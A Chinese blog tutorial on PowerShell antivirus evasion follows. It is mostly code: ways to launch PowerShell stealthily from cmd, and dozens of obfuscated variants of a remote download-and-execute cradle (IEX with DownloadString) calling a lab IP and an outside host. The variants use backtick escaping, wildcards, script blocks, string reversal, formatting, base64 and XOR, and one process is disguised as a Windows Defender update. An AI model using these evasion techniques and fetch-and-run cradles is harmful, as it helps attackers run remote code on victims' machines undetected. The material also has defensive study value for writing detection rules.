• powershell语言特性(免杀方法)


    powershell语言特性(免杀方法)

    一些前置知识

    1. cmd启动powershell

    • 首先看看powershell使用cmd.exe启动执行代码的方式

    1.1 常规方法

    • 有三种
    cmd.exe /c "powershell -c write-host success -force green"
    cmd.exe /c "echo write-host success -force green | powershell -" # 最后的那个-不能去掉
    cmd.exe /c "set p1=power && set p2=shell && cmd /c write-host success -fore green ^|%p1%%p2% -"
    
    • 命令解释(这个解释对理解下面的命令也很有用处):
      1. /c参数:用于执行字符串指定的命令然后终止,与/k参数类似,但是/k参数执行完字符串中的目录后不会直接终止
      2. write-host:与write-output用法类似,用于输出
      3. -force参数 是 -ForegroundColor参数的简写,用于指定输出数据的颜色
      4. 第三条命令中的:^符号,是bat中的转义符号,再此用于转义管道符
      5. 在bat中,使用 %变量名% 来取出变量值,使用set命令设置变量值
      6. 当&&连接两条命令时,表示若前一条命令执行成功的话,在执行后面那条命令,否则不执行后面那条命令
    • 执行效果如下图:
      01_常规方法启动powershell

    1.2 管道输入流

    cmd.exe /c "echo write-host success -fore green | powershell iex $input"
    
    • 执行效果如下:
      02_管道输入流启动powershell
    • 对该命令的解释:
      • iex是 Invoke-Expression命令 的简写,用于执行字符串中的命令 如:iex "ls"
      • 使用了管道符,将字符串“write-host success -fore green”赋给了变量$input,然后通过iex进行执行
        04_管道输入流启动powershell解释

    1.3 利用环境变量

    cmd.exe /c "set cmd=write-host env -fore green && powershell iex $env:cmd"
    cmd.exe /c "set cmd=write-host env -fore green && cmd /c echo %cmd%|powershell -"
    cmd.exe /c "set cmd=write-host env -fore green && powershell iex([environment]::getEnvironmentVariable('cmd','process'))"
    cmd.exe /c "set cmd=write-host env -fore green && powershell iex((get-childitem/childItem/GCI/DIR/LS env:cmd).value)"
    
    • 执行效果如下:
      03_利用环境变量启动powershell
    • 命令解释:
      05_利用环境变量启动powershell 解释

    1.4 从其他进程获取参数(这个我没有试验成功)

    • 首先启动多个cmd进程,这些进程参数中包含要执行的代码
    cmd /c "title WINDOWS_DEFENDER_UPDATE&&echo IEX (IWR https://7ell.me/power)&& FOR /L %i IN (1,1,1000) DO echo"
    
    cmd /c "powershell IEX (Get-WmiObject Win32_Process -Filter \^"Name = 'cmd.exe' AND CommandLine like '%WINDOWS_DEFENDER_UPDATE%'\^").CommandLine.Split([char]38)[2].SubString(5)"
    

    1.5 从粘贴板(这种我也没有试验成功)

    cmd.exe /c "echo Write-Host CLIP -Fore Green | clip&& powershell [void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms'); IEX ([System.Windows.Forms.Clipboard]::GetText())"
    
    • 这些方法可以在powershell日志中看到,所以开启powershell的日志分析很重要。但是,如果时混淆的,日志中也仅仅是记录了混淆后的东西。

    2. 混淆

    • DownloadString命令所下载的文件:http://192.168.1.103/test
      08_实验环境

    • Hacker在攻击时经常会远程下载代码脚本执行,这里基于这样的一条标准的下载文件命令来进行变形混淆。

    Invoke-Expression (New-Object System.Net.WebClient).DownloadString("http://192.168.1.103/test")。
    
    • 在混淆之前,先看看powershell获取环境变量的方式。
    Get-Variable/GV/Variable cmd -ValueOnly
    -ValueOnly可以简写为-ValueOnly,-ValueOnl,-ValueOn,-ValueO......,-Va,-V
    
    (Get-Item/GI/Item Variable:cmd).Value
    (Get-ChildItem/GCI/ChildItem/DIR/LS Variable:cmd).Value
    
    • 后面很多构造会用到这些方式的。
      06_混淆

    2.0 简单处理

    1. 可以去掉System
    Invoke-Expression (New-Object Net.WebClient).DownloadString("http://192.168.1.103/test")
    

    可以去掉System

    1. 将http分开+号连接
    Invoke-Expression (New-Object Net.WebClient).DownloadString("ht"+"tp://192.168.1.103/test")
    

    10_将http分开 号连接

    1. 变量代替
    $wc=New-Object Net.WebClient;$wc.DownloadString('h'+'ttp://192.168.1.103/test') | IEX
    

    11_变量代替

    1. 把downloadstring使用单双引号引起来
    Invoke-Expression (New-Object Net.WebClient)."DownloadString"('h'+'ttp://192.168.1.103/test')
    

    12_把downloadstring使用单双引号引起来

    1. 使用invoke方法
    Invoke-Expression (New-Object Net.WebClient).("DownloadString").Invoke('h'+'ttp://192.168.1.103/test')
    
    $ds="Down"+"loadString";Invoke-Expression (New-Object Net.WebClient).$ds.Invoke('h'+'ttp://192.168.1.103/test')
    

    13_使用invoke方法

    2.1 转义符(反引号)

    • 以下为 Windows PowerShell 能够识别的特殊字符:
    0     Null
    `a    警报
    `b    退格
    `f    换页
    `n    换行
    `r    回车
    `t    水平制表
    `v    垂直制表
    
    • 转义符号加在其他字符前不影响字符的意思,避免在0,a,b,f,n,r,t,v的小写字母前出现即可。
      07_反引号
    Invoke-Expression (New-Object Net.WebClient)."Down`loadString"('h'+'ttp://192.168.1.103/test')
    Invoke-Expression (New-Object Net.WebClient)."D`o`wn`l`oad`Str`in`g"('h'+'ttp://192.168.1.103/test') 
    Invoke-Expression (New-Object Net.WebClient)."D`o`w`N`l`o`A`d`S`T`R`in`g"('h'+'ttp://192.168.1.103/test')
    

    14_反引号

    • 同样可以使用在Net.Webclient上
    Invoke-Expression (New-Object "`Ne`T.`Web`Cli`ent")."Down`l`oadString"('h'+'ttp://192.168.1.103/test')
    

    15_同样可以使用在Net.Webclient上

    • 括号代替空格,或者多个定义变量来连接替换
    Invoke-Expression (New-Object("`Ne`T.`Web`Cli`ent"))."Down`l`oadString"('h'+'ttp://192.168.1.103/test')
    
    $v1="Net.";$v2="WebClient";Invoke-Expression (New-Object $v1$v2)."Down`l`oadString"('h'+'ttp://192.168.1.103/test')
    
    $num1="l";$num2="s";iex($num1+$num2)
    

    16_括号代替空格,或者多个定义变量来连接替换

    2.2 简写与通配符*

    • e.g Get-Comamd New-Ob*
    • 以下几种处理都可以代替 Get-Command New-Object ; Get-Comamnd 可简写为 GCM
    &(Get-Command New-Obje*)     &(Get-Command *w-O*)     &(GCM *w-O*)     &(COMMAND *w-*ct)
    .(Get-Command New-Obje*)     .(Get-Command *w-O*)     .(GCM *w-O*)     .(COMMAND *w-*ct)
    $var1="New";$var2="-Object";$var3=$var1+$var2;&(GCM $var3)
    
    • 结合其他方法混淆
    Invoke-Expression (&(Get-Command New-Obje*)"Net.WebClient")."DownloadString"('h'+'ttp://192.168.1.103/test')
    
    $var1="New";$var2="-Object";$var3=$var1+$var2;Invoke-Expression (&(GCM $var3)"Net.WebClient")."DownloadString"('h'+'ttp://192.168.1.103/test')
    
    ie`x (.(GCM *w-O*)"Net.WebClient")."DownloadString"('h'+'ttp://192.168.1.103/test')
    

    17_结合其他方法混淆

    2.3 脚本块

    # 以下是执行脚本块的方法:
    invoke-command{xxxx}  ICM{xxxx}  {xxxx}.invoke()  &{xxxx}  .{xxxx}
    
    # 以下是创建脚本块的方式
    $ExecutionContext.InvokeCommand.NewScriptBlock("xxxxx")
    ${ExecuTioNCoNTexT}."INVokeCommANd"."NewScRipTBlock"("expression")
    $ExecutionContext."`I`N`V`o`k`e`C`o`m`m`A`N`d"."`N`e`w`S`c`R`i`p`T`B`l`o`c`k"("expression") 
    ${`E`x`e`c`u`T`i`o`N`C`o`N`T`e`x`T}."`I`N`V`o`k`e`C`o`m`m`A`N`d"."`N`e`w`S`c`R`i`p`T`B`l`o`c`k"("expression") 
    $a = ${`E`x`e`c`u`T`i`o`N`C`o`N`T`e`x`T}; $b = $a."`I`N`V`o`k`e`C`o`m`m`A`N`d";$b."`N`e`w`S`c`R`i`p`T`B`l`o`c`k"("ex"+"pres"+"sion")
    

    25_脚本块

    • Scriptblock类方法,[Scriptblock]相当于[Type]("Scriptblock")
    [Scriptblock]::Create("expression")
    ([Type]"Scriptblock")::create('expression')
    [Scriptblock]::("Create").Invoke("expression")
    ([Type]("Scriptblock"))::("Create").Invoke("expression")
    [Scriptblock]::("`C`R`e"+"`A`T`e").Invoke("expression") 
    ([Type]("Scr"+"ipt"+"block"))::("`C`R`e"+"`A`T`e").Invoke("ex"+"pres"+"sion")
    

    19_使用脚本块
    26_脚本块

    • 可以构造出下面的式子混淆
    .(${`E`x`e`c`u`T`i`o`N`C`o`N`T`e`x`T}."`I`N`V`o`k`e`C`o`m`m`A`N`d")."`N`e`w`S`c`R`i`p`T`B`l`o`c`k"((& (`G`C`M *w-O*)"`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"('h'+'ttp://192.168.1.103/test'))
    

    18_使用脚本块

    2.4 字符串处理

    1. 反转
    $reverseCmd= ")'tset/301.1.861.291//:ptth'(gnirtSdaolnwoD.)tneilCbeW.teN tcejbO-weN(";
    1. IEX ($reverseCmd[-1..-($reverseCmd.Length)] -Join '') | IEX
    2. $reverseCmdCharArray= $reverseCmd.ToCharArray(); [Array]::Reverse($reverseCmdCharArray); IEX ($reverseCmdCharArray-Join '') | IEX
    3. IEX (-Join[RegEx]::Matches($reverseCmd,'.','RightToLeft')) | IEX
    

    反转

    1. 分割截断 or 替换字符
    $cmdWithDelim= "(New-Object Net.We~~bClient).Downlo~~adString('http://192.168.1.103/test')";
    1. IEX ($cmdWithDelim.Split("~~") -Join '') | IEX
    2. IEX $cmdWithDelim.Replace("~~","") | IEX
    3. IEX ($cmdWithDelim-Replace "~~","") | IEX
    

    分割截断 or 替换字符

    1. 格式填充,-f 格式化。
    //将NE download http://分别填到{0},{1},{2}
    IEX ('({0}w-Object {0}t.WebClient).{1}String("{2}192.168.1.103/test")' -f 'Ne', 'Download','http://') | IEX 
    //示例2
    .("{1}{0}" -f 'X','IE') (&("{3}{2}{1}{0}" -f 'ct','-Obje','w','Ne') ("{0}{2}{1}" -f 'N','nt','et.WebClie')).("{2}{0}{1}{3}" -f 'dSt','rin','Downloa','g').Invoke(("{5}{0}{3}{4}{1}{2}" -f 'tp:/','1.','103/test','/','192.168.','ht'))
    

    -f 格式化
    -f 格式化

    1. 变量拼接
    $c1="(New-Object Net.We"; $c2="bClient).Downlo"; $c3="adString('http://192.168.1.103/text')";
    1. IEX ($c1,$c2,$c3 -Join '') | IEX
    2. IEX ($c1,$c3 -Join $c2) | IEX
    3. IEX ([string]::Join($c2,$c1,$c3)) | IEX   # 这一条在我运行的时候发生了报错:找不到“Join”的重载,参数计数为:“3”。
    4. IEX ([string]::Concat($c1,$c2,$c3)) | IEX
    5. IEX ($c1+$c2+$c3) | IEX 
    6. IEX "$c1$c2$c3" | IEX
    

    31_变量拼接

    2.5 编码

    1. Ascii

      • 使用[char]xx 代替字符 如:[char]59-->;
      //不用分号
      $cmd= "$c1~~$c2~~$c3~~$c4"; IEX $cmd.Replace("~~",[string]([char]59)) | IEX
      
    2. Base64

      • 命令行参数使用
      -EC,-EncodedCommand,-EncodedComman,-EncodedComma,-EncodedComm,......,Enc,-En,E
      

      34_base64

      • 解码echo 123 的base64 ZQBjAGgAbwAgADEAMgAzAAoA
      1.PS 2.0 ->  [C`onv`ert]::"FromB`Ase6`4Str`ing"('ZQBjAGgAbwAgADEAMgAzAAoA')
      2.PS 3.0+ -> [ <##> Convert <##> ]:: <##> "FromB`Ase6`4Str`ing"('ZQBjAGgAbwAgADEAMgAzAAoA')
      

      Base64

    3. .NET的方法

    IEX ([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('ZQBjAGgAbwAgADEAMgAzAAoA')))
    
    1. 其他不同的方式编码 hex/octal/binary/BXOR/etc.
    [Convert]::ToString(1234, 2)
    [Convert]::ToString(1234, 8)
    [Convert]::ToString(1234, 16)
    
    * 也是转换为16进制
    
    "{0:X4}" -f 1234  小写: "{0:x4}" -f 1234
    [Byte][Char]([Convert]::ToInt16($_,16)) 
    ($cmd.ToCharArray() | % {[int]$_}) -Join $delim   //可以去掉空白 -Join$delim
    $bytes[$i] = $bytes[$i] -BXOR 0x6A                //可以去点空白  $bytes[$i]-BXOR0x6A)
    

    2.6 自构造关键字替换

    • 就是在其他命令的输出下查看观察目标字符串位置,然后提取出来。比如DownlaodString的构造替换
    DownloadString == (((New-Object Net.WebClient).PsObject.Methods | Where-Object {$_.Name -like '*wn*d*g'}).Name)
    IEX (New-Object Net.WebClient).(((New-Object Net.WebClient).PsObject.Methods | Where-Object {$_.Name -like '*wn*d*g'}).Name).Invoke('http://7ell.me/power')
    
    • 再结合get-command的变形
    IEX (.(COMMAND *w-*ct) Net.WebClient).(((.(COMMAND *w-*ct) Net.WebClient).PsObject.Methods | Where-Object {$_.Name -like '*wn*d*g'}).Name).Invoke('http://7ell.me/power')
    
    • 根据这样的思路结合上面提到的获取环境变量方法,可以把New-Object层层混淆为
    (GV E*onte*).Value.(((GV E*onte*).Value|GM)[6].Name).(((GV E*onte*).Value.(((GV E*onte*).Value|GM)[6].Name).PsObject.Methods|Where{(GCI Variable:_).Value.Name-ilike'*Co*d'}).Name).Invoke((GV E*onte*).Value.(((GV E*onte*).Value|GM)[6].Name).(((GV E*onte*).Value.(((GV E*onte*).Value|GM)[6].Name)|GM|Where{(GCI Variable:_).Value.Name-ilike'G*om*e'}).Name).Invoke('N*ct',$TRUE,1), [System.Management.Automation.CommandTypes]::Cmdlet)
    

    3. IEX 的处理与其他执行方法

    • 经过上面构造可以看到很多都使用Invoke-Expression/IEX命令,.,&符号来执行表达式。

    • Invoke-Expression/IEX命令是很常用的一个命令, 运行一个以字符串形式提供的PowerShell表达式。

    • 这里也先看看代替IEX的各种执行方式

      1. Get-Alias/GAL
      &(GAL I*X)
      .(LS Alias:/I*X)
      Get-Command/GCM
      .(GCM I*e-E*)
      &(Command I*e-E*)
      
      1. GetCmdlets (PS1.0+)
      $ExecutionContext.InvokeCommand.GetCmdlets('I*e-E*'),
      //用到环境变量
      &(GV E*Cont* -Va).InvokeCommand.(((GV E*Cont* -Va).InvokeCommand.PsObject.Methods|Where{(GV _ -Va).Name -clike'*Cm*ts'}).Name).Invoke('I*e-E*')
      
      1. InvokeScript (PS1.0+)
      $ExecutionContext.InvokeCommand.InvokeScript($Script)
      (GV E*Cont* -Va).InvokeCommand.(((GV E*Cont* -Va).InvokeCommand.PsObject.Methods|Where{(GV _ -Va).Name -clike'I*'}).Name).Invoke($Script),
      
      1. Invoke-Command/ICM
      Invoke-Command ([ScriptBlock]::Create($Script))
      [ScriptBlock]::Create($Script).Invoke()
      .((GV *cut*t -Va).(((GV *cut*t -Va)|Member)[6].Name).(((GV *cut*t -Va).(((GV *cut*t -Va)|Member)[6].Name)|Member|Where-Object{(Get-Variable _ -Va).Name-clike'N*S*B*'}).Name).Invoke($Script))
      
      1. PS Runspace
      [PowerShell]::Create().AddScript($Script).Invoke()
      Invoke-AsWorkflow (PS3.0+)
      Invoke-AsWorkflow -Expression $Script
      
      1. 提取串联出IEX,也是在其他命令的输出下查看观察目标字符串位置,然后提取出来(这个方法是真的强)
      ($Env:ComSpec[4,26,25]-Join'')
      ((LS env:/Co*pec).Value[4,26,25]-Join'')
      ($ShellId[1]+$ShellId[13]+'x')
      ((GV S*ell*d -Va)[1]+(DIR Variable:\S*ell*d).Value[13]+'x')
      (([String]''.IndexOf)[0,7,8]-Join'')
      //怎么构造?,比如上面这个 首先查看''|Get-Member有个IndexOf方法,然后看看[String]''.IndexOf的输出,提取出里面的IEX字母
      
      • 利用(以最后一条举例):
        20_iex绕过:提取串联出IEX
      • 原理说明(以最后一条举例):
        21_iex绕过:提取串联出IEX 原理讲解
      • 举一个与变量拼接结合使用的例子:
        结合使用
  • 相关阅读:
    字符串匹配的KMP算法(转)
    二分查找谜题
    快排的优化--说说尾递归
    ZR提高失恋测4
    CF1209
    ZR普转提2
    ZR提高失恋测3
    ZR提高失恋测2(9.7)
    ZR9.8普转提
    CF1214
  • 原文地址:https://www.cnblogs.com/02SWD/p/15902377.html
Copyright © 2020-2023  润新知